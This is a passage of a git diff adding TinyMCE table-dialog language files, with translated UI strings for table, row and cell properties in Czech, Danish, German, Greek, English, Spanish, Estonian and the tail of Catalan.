cel\u00b7la",rows:"Files",cols:"Columnes",height:"Al\u00e7ada",width:"Amplada",title:"Insereix/Modifica taula",rowtype:"Fila","advanced_props":"Propietats avan\u00e7ades","general_props":"Propietats generals","advanced_tab":"Avan\u00e7at","general_tab":"General","cell_col":"Actuaitza totes les cel\u00b7les en la columna"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/cs_dlg.js b/js/tiny_mce/plugins/table/langs/cs_dlg.js new file mode 100755 index 0000000..735c521 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.table_dlg',{"rules_border":"r\u00e1me\u010dek okolo","rules_box":"box okolo","rules_vsides":"vlevo a vpravo","rules_rhs":"vpravo","rules_lhs":"vlevo","rules_hsides":"naho\u0159e a dole","rules_below":"dole","rules_above":"naho\u0159e","rules_void":"\u017e\u00e1dn\u00fd",rules:"Vykreslen\u00ed m\u0159\u00ed\u017eky","frame_all":"v\u0161e","frame_cols":"sloupce","frame_rows":"\u0159\u00e1dky","frame_groups":"oblasti a skupiny sloupc\u016f","frame_none":"\u017e\u00e1dn\u00e1",frame:"R\u00e1me\u010dek tabulky",caption:"Nadpis tabulky","missing_scope":"Skute\u010dn\u011b chcete pokra\u010dovat bez ur\u010den\u00ed oblasti hlavi\u010dky t\u00e9to tabulky? Bez n\u00ed m\u016f\u017ee u n\u011bkter\u00fdch u\u017eivatel\u016f doch\u00e1zet k ur\u010dit\u00fdm probl\u00e9m\u016fm p\u0159i interpretaci a zobrazov\u00e1n\u00ed dat v tabulce.","cell_limit":"P\u0159ekro\u010dili jste maxim\u00e1ln\u00ed po\u010det bun\u011bk {$cells}.","row_limit":"P\u0159ekro\u010dili jste maxim\u00e1ln\u00ed po\u010det \u0159\u00e1dk\u016f {$rows}.","col_limit":"P\u0159ekro\u010dili jste maxim\u00e1ln\u00ed po\u010det sloupc\u016f {$cols}.",colgroup:"Skupina sloupc\u016f",rowgroup:"Skupina \u0159\u00e1dk\u016f",scope:"Hlavi\u010dka pro",tfoot:"Pata tabulky",tbody:"T\u011blo tabulky",thead:"Hlavi\u010dka tabulky","row_all":"Aktualizovat v\u0161echny \u0159\u00e1dky tabulky","row_even":"Aktualizovat sud\u00e9 \u0159\u00e1dky tabulky","row_odd":"Aktualizovat lich\u00e9 \u0159\u00e1dky tabulky","row_row":"Aktualizovat zvolen\u00fd \u0159\u00e1dek","cell_all":"Aktualizovat v\u0161echny bu\u0148ky v tabulce","cell_row":"Aktualizovat v\u0161echny bu\u0148ky v \u0159\u00e1dku","cell_cell":"Aktualizovat zvolenou bu\u0148ku",th:"Z\u00e1hlav\u00ed",td:"Data",summary:"Shrnut\u00ed obsahu",bgimage:"Obr\u00e1zek pozad\u00ed",rtl:"Zprava doleva",ltr:"Zleva doprava",mime:"MIME typ c\u00edle",langcode:"K\u00f3d jazyka",langdir:"Sm\u011br textu",style:"Styl",id:"ID","merge_cells_title":"Spojit bu\u0148ky",bgcolor:"Barva pozad\u00ed",bordercolor:"Barva r\u00e1me\u010dku","align_bottom":"Dol\u016f","align_top":"Nahoru",valign:"Vertik\u00e1ln\u00ed zarovn\u00e1n\u00ed","cell_type":"Typ bu\u0148ky","cell_title":"Vlastnosti bu\u0148ky","row_title":"Vlastnosti \u0159\u00e1dku","align_middle":"Na st\u0159ed","align_right":"Vpravo","align_left":"Vlevo","align_default":"V\u00fdchoz\u00ed",align:"Zarovn\u00e1n\u00ed",border:"R\u00e1me\u010dek",cellpadding:"Odsazen\u00ed obsahu",cellspacing:"Rozestup bun\u011bk",rows:"\u0158\u00e1dky",cols:"Sloupce",height:"V\u00fd\u0161ka",width:"\u0160\u00ed\u0159ka",title:"Vlo\u017eit/upravit tabulku",rowtype:"Typ \u0159\u00e1dku","advanced_props":"Roz\u0161\u00ed\u0159en\u00e9 parametry","general_props":"Obecn\u00e9 parametry","advanced_tab":"Roz\u0161\u00ed\u0159en\u00e9","general_tab":"Obecn\u00e9","cell_col":"Aktualizovat v\u0161echny bu\u0148ky ve sloupci"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/da_dlg.js b/js/tiny_mce/plugins/table/langs/da_dlg.js new file mode 100755 index 0000000..13220a5 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.table_dlg',{"rules_border":"kant","rules_box":"boks","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"under","rules_above":"over","rules_void":"void",rules:"Regler","frame_all":"alle","frame_cols":"kolonner","frame_rows":"r\u00e6kker","frame_groups":"grupper","frame_none":"ingen",frame:"Ramme",caption:"Tabeloverskrift","missing_scope":"Er du sikker p\u00e5, du vil forts\u00e6tte uden at angive forklaring for denne overskriftscelle? Uden forklaring vil v\u00e6re sv\u00e6rt for f.ek.s blinde at l\u00e6se og forst\u00e5 indholdet i tabellen.","cell_limit":"Du har overskredet antallet af tilladte celler p\u00e5 {$cells}.","row_limit":"Du har overskredet antallet af tilladte r\u00e6kker p\u00e5 {$rows}.","col_limit":"Du har overskredet antallet af tilladte kolonner p\u00e5 {$cols}.",colgroup:"Kolonnegruppe",rowgroup:"R\u00e6kkegruppe",scope:"Forklaring",tfoot:"Tabelfod",tbody:"Tabelkrop",thead:"Tabelhoved","row_all":"Opdater alle r\u00e6kker","row_even":"Opdater lige r\u00e6kker","row_odd":"Opdater ulige r\u00e6kker","row_row":"Opdater aktuelle celle","cell_all":"Opdater alle celler i tabellen","cell_row":"Opdater alle celler i r\u00e6kken","cell_cell":"Opdater aktuelle celle",th:"Hoved",td:"Data",summary:"Beskrivelse",bgimage:"Baggrundsbillede",rtl:"H\u00f8jre mod venstre",ltr:"Venstre mod h\u00f8jre",mime:"Destinations-MIME-type",langcode:"Sprogkode",langdir:"Sprogretning",style:"Style",id:"Id","merge_cells_title":"Flet celler",bgcolor:"Baggrundsfarve",bordercolor:"Kantfarve","align_bottom":"Bund","align_top":"Top",valign:"Vertikal justering","cell_type":"Celletype","cell_title":"Celleegenskaber","row_title":"R\u00e6kkeegenskaber","align_middle":"Centreret","align_right":"H\u00f8jre","align_left":"Venstre","align_default":"Standard",align:"Justering",border:"Kant",cellpadding:"Afstand til celleindhold",cellspacing:"Afstand mellem celler",rows:"R\u00e6kker",cols:"Kolonner",height:"H\u00f8jde",width:"Bredde",title:"Inds\u00e6t/rediger tabel",rowtype:"R\u00e6kke i tabel del","advanced_props":"Avancerede egenskaber","general_props":"Generelle egenskaber","advanced_tab":"Avanceret","general_tab":"Generelt","cell_col":"Opdat\u00e9r alle celler i en s\u00f8jle"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/de_dlg.js b/js/tiny_mce/plugins/table/langs/de_dlg.js new file mode 100755 index 0000000..5a64ebd --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.table_dlg',{"rules_border":"alle 4 Seiten (Border)","rules_box":"alle 4 Seiten (Box)","rules_vsides":"links und rechts","rules_rhs":"nur rechts","rules_lhs":"nur links","rules_hsides":"oben und unten","rules_below":"nur unten","rules_above":"nur oben","rules_void":"keins",rules:"Gitter","frame_all":"zwischen allen Zellen","frame_cols":"zwischen Spalten","frame_rows":"zwischen Zeilen","frame_groups":"zwischen Gruppen","frame_none":"keine",frame:"Rahmen",caption:"Beschriftung der Tabelle","missing_scope":"Wollen Sie wirklich keine Beziehung f\u00fcr diese \u00dcberschrift angeben? Benutzer mit k\u00f6rperlichen Einschr\u00e4nkungen k\u00f6nnten Schwierigkeiten haben, den Inhalt der Tabelle zu verstehen.","cell_limit":"Sie haben die maximale Zellenzahl von {$cells} \u00fcberschritten.","row_limit":"Sie haben die maximale Zeilenzahl von {$rows} \u00fcberschritten.","col_limit":"Sie haben die maximale Spaltenzahl von {$cols} \u00fcberschritten.",colgroup:"Horizontal gruppieren",rowgroup:"Vertikal gruppieren",scope:"Bezug",tfoot:"Tabellenfu\u00df",tbody:"Tabelleninhalt",thead:"Tabellenkopf","row_all":"Alle Zeilen ver\u00e4ndern","row_even":"Gerade Zeilen ver\u00e4ndern","row_odd":"Ungerade Zeilen ver\u00e4ndern","row_row":"Diese Zeile ver\u00e4ndern","cell_all":"Alle Zellen der Tabelle ver\u00e4ndern","cell_row":"Alle Zellen in dieser Zeile ver\u00e4ndern","cell_cell":"Diese Zelle ver\u00e4ndern",th:"\u00dcberschrift",td:"Textzelle",summary:"Zusammenfassung",bgimage:"Hintergrundbild",rtl:"Rechts nach links",ltr:"Links nach rechts",mime:"MIME-Type des Inhalts",langcode:"Sprachcode",langdir:"Schriftrichtung",style:"Format",id:"ID","merge_cells_title":"Zellen vereinen",bgcolor:"Hintergrundfarbe",bordercolor:"Rahmenfarbe","align_bottom":"Unten","align_top":"Oben",valign:"Vertikale Ausrichtung","cell_type":"Zellentyp","cell_title":"Eigenschaften der Zelle","row_title":"Eigenschaften der Zeile","align_middle":"Mittig","align_right":"Rechts","align_left":"Links","align_default":"Standard",align:"Ausrichtung",border:"Rahmen",cellpadding:"Abstand innerhalb der Zellen",cellspacing:"Zellenabstand",rows:"Zeilen",cols:"Spalten",height:"H\u00f6he",width:"Breite",title:"Tabelle einf\u00fcgen/bearbeiten",rowtype:"Gruppierung","advanced_props":"Erweiterte Einstellungen","general_props":"Allgemeine Einstellungen","advanced_tab":"Erweitert","general_tab":"Allgemein","cell_col":"Alle Zellen in dieser Spalte aktualisieren"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/el_dlg.js b/js/tiny_mce/plugins/table/langs/el_dlg.js new file mode 100755 index 0000000..f2510f0 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.table_dlg',{"rules_border":"\u03c0\u03bb\u03b1\u03af\u03c3\u03b9\u03bf","rules_box":"\u03ba\u03bf\u03c5\u03c4\u03af","rules_vsides":"\u03ba\u03ac\u03b8\u03b5\u03c4\u03b5\u03c2 \u03c0\u03bb\u03b5\u03c5\u03c1\u03ad\u03c2","rules_rhs":"\u03b4\u03b5\u03be\u03b9\u03ac \u03bf\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1 \u03c0\u03bb\u03b5\u03c5\u03c1\u03ac","rules_lhs":"\u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ae \u03bf\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1 \u03c0\u03bb\u03b5\u03c5\u03c1\u03ac","rules_hsides":"\u03bf\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b5\u03c2 \u03c0\u03bb\u03b5\u03c5\u03c1\u03ad\u03c2","rules_below":"\u03b1\u03c0\u03cc \u03ba\u03ac\u03c4\u03c9","rules_above":"\u03b1\u03c0\u03cc \u03c0\u03ac\u03bd\u03c9","rules_void":"\u03ba\u03b5\u03bd\u03cc",rules:"\u039a\u03b1\u03bd\u03cc\u03bd\u03b5\u03c2","frame_all":"\u03cc\u03bb\u03b1","frame_cols":"\u03c3\u03c4\u03ae\u03bb\u03b5\u03c2","frame_rows":"\u03b3\u03c1\u03b1\u03bc\u03bc\u03ad\u03c2","frame_groups":"\u03bf\u03bc\u03ac\u03b4\u03b5\u03c2","frame_none":"\u03ba\u03b1\u03bd\u03ad\u03bd\u03b1",frame:"Frame",caption:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","missing_scope":"\u03a3\u03af\u03b3\u03bf\u03c5\u03c1\u03b1 \u03b8\u03ad\u03bb\u03b5\u03c4\u03b5 \u03bd\u03b1 \u03c3\u03c5\u03bd\u03b5\u03c7\u03af\u03c3\u03b5\u03c4\u03b5 \u03c7\u03c9\u03c1\u03af\u03c2 \u03bd\u03b1 \u03ad\u03c7\u03b5\u03c4\u03b5 \u03ba\u03b1\u03b8\u03bf\u03c1\u03af\u03c3\u03b5\u03b9 \u03c4\u03b7\u03bd \u03b5\u03bc\u03b2\u03ad\u03bb\u03b5\u03b9\u03b1 \u03c4\u03bf\u03c5 \u03ba\u03b5\u03bb\u03b9\u03bf\u03cd \u03c4\u03b7\u03c2 \u03ba\u03bf\u03c1\u03c5\u03c6\u03ae\u03c2 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1. \u03a7\u03c9\u03c1\u03af\u03c2 \u03b1\u03c5\u03c4\u03ae, \u03bc\u03c0\u03bf\u03c1\u03b5\u03af \u03bd\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b4\u03cd\u03c3\u03ba\u03bf\u03bb\u03bf \u03b3\u03b9\u03b1 \u03ba\u03ac\u03c0\u03bf\u03b9\u03bf\u03c5\u03c2 \u03c7\u03c1\u03ae\u03c3\u03c4\u03b5\u03c2 \u03bc\u03b5 \u03c0\u03c1\u03bf\u03b2\u03bb\u03ae\u03bc\u03b1\u03c4\u03b1 \u03bd\u03b1 \u03ba\u03b1\u03c4\u03b1\u03bb\u03ac\u03b2\u03bf\u03c5\u03bd \u03c4\u03bf \u03c0\u03b5\u03c1\u03b9\u03b5\u03c7\u03cc\u03bc\u03b5\u03bd\u03bf \u03c4\u03bf\u03c5 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1.","cell_limit":"\u0388\u03c7\u03b5\u03c4\u03b5 \u03be\u03b5\u03c0\u03b5\u03c1\u03ac\u03c3\u03b5\u03b9 \u03c4\u03bf \u03cc\u03c1\u03b9\u03bf \u03c4\u03c9\u03bd \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd \u03c0\u03bf\u03c5 \u03b5\u03af\u03bd\u03b1\u03b9 {$cells}.","row_limit":"\u0388\u03c7\u03b5\u03c4\u03b5 \u03be\u03b5\u03c0\u03b5\u03c1\u03ac\u03c3\u03b5\u03b9 \u03c4\u03bf \u03cc\u03c1\u03b9\u03bf \u03c4\u03c9\u03bd \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd \u03c0\u03bf\u03c5 \u03b5\u03af\u03bd\u03b1\u03b9 {$rows}.","col_limit":"\u0388\u03c7\u03b5\u03c4\u03b5 \u03be\u03b5\u03c0\u03b5\u03c1\u03ac\u03c3\u03b5\u03b9 \u03c4\u03bf \u03cc\u03c1\u03b9\u03bf \u03c4\u03c9\u03bd \u03c3\u03c4\u03b7\u03bb\u03c9\u03bd \u03c0\u03bf\u03c5 \u03b5\u03af\u03bd\u03b1\u03b9 {$cols}.",colgroup:"\u039f\u03bc\u03ac\u03b4\u03b1 \u03c3\u03c4\u03b7\u03bb\u03ce\u03bd",rowgroup:"\u039f\u03bc\u03ac\u03b4\u03b1 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd",scope:"\u0395\u03bc\u03b2\u03ad\u03bb\u03b5\u03b9\u03b1",tfoot:"\u0392\u03ac\u03c3\u03b7 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1",tbody:"\u03a3\u03ce\u03bc\u03b1 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1",thead:"\u039a\u03bf\u03c1\u03c5\u03c6\u03ae \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","row_all":"\u0395\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7 \u03cc\u03bb\u03c9\u03bd \u03c4\u03c9\u03bd \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd \u03c4\u03bf\u03c5 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","row_even":"\u0395\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7 \u03c4\u03c9\u03bd \u03b6\u03c5\u03b3\u03ce\u03bd \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd \u03c4\u03bf\u03c5 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","row_odd":"\u0395\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7 \u03c4\u03c9\u03bd \u03bc\u03bf\u03bd\u03ce\u03bd \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd \u03c4\u03bf\u03c5 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","row_row":"\u0395\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7 \u03c4\u03b7\u03c2 \u03c4\u03c1\u03ad\u03c7\u03bf\u03c5\u03c3\u03b1\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2","cell_all":"\u0395\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7 \u03cc\u03bb\u03c9\u03bd \u03c4\u03c9\u03bd \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd \u03c4\u03bf\u03c5 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","cell_row":"\u0395\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7 \u03cc\u03bb\u03c9\u03bd \u03c4\u03c9\u03bd \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd \u03c4\u03b7\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2","cell_cell":"\u0395\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7 \u03c4\u03c1\u03ad\u03c7\u03bf\u03bd\u03c4\u03bf\u03c2 \u03ba\u03b5\u03bb\u03b9\u03bf\u03cd",th:"\u0395\u03c0\u03b9\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1",td:"\u0394\u03b5\u03b4\u03bf\u03bc\u03ad\u03bd\u03b1",summary:"\u03a0\u03b5\u03c1\u03af\u03bb\u03b7\u03c8\u03b7",bgimage:"\u0395\u03b9\u03ba\u03cc\u03bd\u03b1 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5",rtl:"\u0394\u03b5\u03be\u03b9\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",ltr:"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b4\u03b5\u03be\u03b9\u03ac",mime:"\u03a4\u03cd\u03c0\u03bf\u03c2 MIME \u03c3\u03c4\u03cc\u03c7\u03bf\u03c5",langcode:"\u039a\u03c9\u03b4\u03b9\u03ba\u03cc\u03c2 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2",langdir:"\u039a\u03b1\u03c4\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2",style:"\u03a3\u03c4\u03c5\u03bb",id:"Id","merge_cells_title":"\u03a3\u03c5\u03b3\u03c7\u03ce\u03bd\u03b5\u03c5\u03c3\u03b7 \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd \u03c0\u03af\u03bd\u03b1\u03ba\u03b1",bgcolor:"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5",bordercolor:"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c0\u03bb\u03b1\u03b9\u03c3\u03af\u03bf\u03c5","align_bottom":"\u039a\u03ac\u03c4\u03c9","align_top":"\u03a0\u03ac\u03bd\u03c9",valign:"\u039a\u03b1\u03c4\u03b1\u03ba\u03cc\u03c1\u03c5\u03c6\u03b7 \u03c3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7","cell_type":"\u03a4\u03cd\u03c0\u03bf\u03c2 \u03ba\u03b5\u03bb\u03b9\u03bf\u03cd","cell_title":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03ba\u03b5\u03bb\u03b9\u03bf\u03cd \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","row_title":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","align_middle":"\u039a\u03ad\u03bd\u03c4\u03c1\u03bf","align_right":"\u0394\u03b5\u03be\u03b9\u03ac","align_left":"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","align_default":"\u03a0\u03c1\u03bf\u03b5\u03c0\u03b9\u03bb\u03b5\u03b3\u03bc\u03ad\u03bd\u03b7",align:"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7",border:"\u03a0\u03bb\u03b1\u03af\u03c3\u03b9\u03bf",cellpadding:"\u0393\u03ad\u03bc\u03b9\u03c3\u03bc\u03b1 \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd",cellspacing:"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd",rows:"\u0393\u03c1\u03b1\u03bc\u03bc\u03ad\u03c2",cols:"\u03a3\u03c4\u03ae\u03bb\u03b5\u03c2",height:"\u038e\u03c8\u03bf\u03c2",width:"\u03a0\u03bb\u03ac\u03c4\u03bf\u03c2",title:"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1",rowtype:"\u0393\u03c1\u03b1\u03bc\u03bc\u03ae \u03c3\u03b5 \u03bc\u03ad\u03c1\u03bf\u03c2 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1","advanced_props":"\u03a0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03b5\u03c2 \u03b9\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2","general_props":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ad\u03c2 \u03b9\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2","advanced_tab":"\u0393\u03b9\u03b1 \u03c0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2","general_tab":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ac","cell_col":"\u0391\u03bd\u03b1\u03bd\u03ad\u03c9\u03c3\u03b7 \u03cc\u03bb\u03c9\u03bd \u03c4\u03c9\u03bd \u03ba\u03b5\u03bb\u03b9\u03ce\u03bd \u03c3\u03c4\u03b7\u03bd \u03c3\u03c4\u03ae\u03bb\u03b7"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/en_dlg.js b/js/tiny_mce/plugins/table/langs/en_dlg.js new file mode 100755 index 0000000..463e09e --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"below","rules_above":"above","rules_void":"void",rules:"Rules","frame_all":"all","frame_cols":"cols","frame_rows":"rows","frame_groups":"groups","frame_none":"none",frame:"Frame",caption:"Table Caption","missing_scope":"Are you sure you want to continue without specifying a scope for this table header cell. Without it, it may be difficult for some users with disabilities to understand the content or data displayed of the table.","cell_limit":"You\'ve exceeded the maximum number of cells of {$cells}.","row_limit":"You\'ve exceeded the maximum number of rows of {$rows}.","col_limit":"You\'ve exceeded the maximum number of columns of {$cols}.",colgroup:"Col Group",rowgroup:"Row Group",scope:"Scope",tfoot:"Footer",tbody:"Body",thead:"Header","row_all":"Update All Rows in Table","row_even":"Update Even Rows in Table","row_odd":"Update Odd Rows in Table","row_row":"Update Current Row","cell_all":"Update All Cells in Table","cell_row":"Update All Cells in Row","cell_cell":"Update Current Cell",th:"Header",td:"Data",summary:"Summary",bgimage:"Background Image",rtl:"Right to Left",ltr:"Left to Right",mime:"Target MIME Type",langcode:"Language Code",langdir:"Language Direction",style:"Style",id:"ID","merge_cells_title":"Merge Table Cells",bgcolor:"Background Color",bordercolor:"Border Color","align_bottom":"Bottom","align_top":"Top",valign:"Vertical Alignment","cell_type":"Cell Type","cell_title":"Table Cell Properties","row_title":"Table Row Properties","align_middle":"Center","align_right":"Right","align_left":"Left","align_default":"Default",align:"Alignment",border:"Border",cellpadding:"Cell Padding",cellspacing:"Cell Spacing",rows:"Rows",cols:"Columns",height:"Height",width:"Width",title:"Insert/Edit Table",rowtype:"Row Type","advanced_props":"Advanced Properties","general_props":"General Properties","advanced_tab":"Advanced","general_tab":"General","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/es_dlg.js b/js/tiny_mce/plugins/table/langs/es_dlg.js new file mode 100755 index 0000000..32701a8 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"debajo","rules_above":"encima","rules_void":"vac\u00edo",rules:"Reglas","frame_all":"todos","frame_cols":"cols","frame_rows":"filas","frame_groups":"grupos","frame_none":"ninguno",frame:"Recuadro",caption:"Subt\u00edtulo de la tabla","missing_scope":" \u00bfEst\u00e1 seguro que desea continuar sin especificar el alcance del encabezado de celda? Sin \u00e9l podr\u00eda ser dificultoso para algunos usuarios entender el contenido o los datos mostrados en la tabla.","cell_limit":"Ha superado el n\u00famero m\u00e1ximo de celdas: {$cells}.","row_limit":"Ha superado el n\u00famero m\u00e1ximo de filas: {$rows}.","col_limit":"Ha superado el n\u00famero m\u00e1ximo de columnas: {$cols}.",colgroup:"Grupo de columnas",rowgroup:"Grupo de filas",scope:"Alcance",tfoot:"Pie de la tabla",tbody:"Cuerpo de la tabla",thead:"Encabezado de la tabla","row_all":"Actualizar todas las filas","row_even":"Actualizar filas pares","row_odd":"Actualizar filas impares","row_row":"Actualizar fila actual","cell_all":"Actualizar todas las celdas en la tabla","cell_row":"Actualizar todas las celdas en la fila","cell_cell":"Actualizar celda actual",th:"Encabezado",td:"Datos",summary:"Resumen",bgimage:"Imagen de fondo",rtl:"Derecha a izquierda",ltr:"Izquierda a derecha",mime:"Tipo MIME",langcode:"C\u00f3digo del lenguaje",langdir:"Direcci\u00f3n del lenguaje",style:"Estilo",id:"Id","merge_cells_title":"Vincular celdas",bgcolor:"Color de fondo",bordercolor:"Color del borde","align_bottom":"Debajo","align_top":"Arriba",valign:"Alineaci\u00f3n vertical","cell_type":"Tipo de celda","cell_title":"Propiedades de la celda","row_title":"Propiedades de la fila","align_middle":"Centrado","align_right":"Derecha","align_left":"Izquierda","align_default":"Predet.",align:"Alineaci\u00f3n",border:"Borde",cellpadding:"Relleno de celda",cellspacing:"Espaciado de celda",rows:"Filas",cols:"Cols",height:"Alto",width:"Ancho",title:"Insertar/Modificar tabla",rowtype:"Tipo de fila","advanced_props":"Propiedades avanzadas","general_props":"Propiedades generales","advanced_tab":"Avanzado","general_tab":"General","cell_col":"Actualizar todas las celdas en la columna"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/et_dlg.js b/js/tiny_mce/plugins/table/langs/et_dlg.js new file mode 100755 index 0000000..61e05ff --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.table_dlg',{"rules_border":"raam","rules_box":"kast","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"all","rules_above":"\u00fcleval","rules_void":"t\u00fchi",rules:"Reeglid","frame_all":"k\u00f5ik","frame_cols":"veerud","frame_rows":"read","frame_groups":"grupid","frame_none":"mitte \u00fckski",frame:"Raam",caption:"Tabeli seletus","missing_scope":"Oled kindel, et soovid j\u00e4tkata t\u00e4psustamata antud tabeli p\u00e4ise nime?","cell_limit":"Oled j\u00f5udnud maksimaalse arvu elementideni","row_limit":"Oled j\u00f5udnud maksimaalse arvu ridadeni","col_limit":"Oled j\u00f5udnud maksemaalse arvu veegudeni.",colgroup:"Veeru grupp",rowgroup:"Rea grupp",scope:"Ulatus",tfoot:"Tabeli jalus",tbody:"Tabeli sisu",thead:"Tabeli p\u00e4is","row_all":"Uuenda k\u00f5iki ridu tabelis","row_even":"Uuenda paaris ridu tabelis","row_odd":"Uuenda paarituid ridu tabelis","row_row":"Uuenda antud rida","cell_all":"Uuenda k\u00f5iki lahtreid tabelis","cell_row":"Uuenda k\u00f5iki lahtreid reas","cell_cell":"Uuenda antud lahtrit",th:"P\u00e4is",td:"Info",summary:"Kokkuv\u00f5te",bgimage:"Tausta pilt",rtl:"Paremalt vasakule",ltr:"Vasakult paremale",mime:"M\u00e4rgista MIME t\u00fc\u00fcp",langcode:"Keele kood",langdir:"Keele suund",style:"Stiil",id:"ID","merge_cells_title":"\u00dchenda lahtrid",bgcolor:"Tausta v\u00e4rv",bordercolor:"Raami v\u00e4rv","align_bottom":"All","align_top":"\u00dcleval",valign:"Vertikaalne joondus","cell_type":"Veeru t\u00fc\u00fcp","cell_title":"Tabeli veeru seaded","row_title":"Tabeli rea seaded","align_middle":"Keskel","align_right":"Parem","align_left":"Vasak","align_default":"Vaikimisi",align:"Joondus",border:"Raam",cellpadding:"Veeru t\u00e4ide",cellspacing:"Veeru laius",rows:"Ridu",cols:"Veerge",height:"K\u00f5rgus",width:"Laius",title:"Sisesta/muuda tabelit",rowtype:"Rida rea 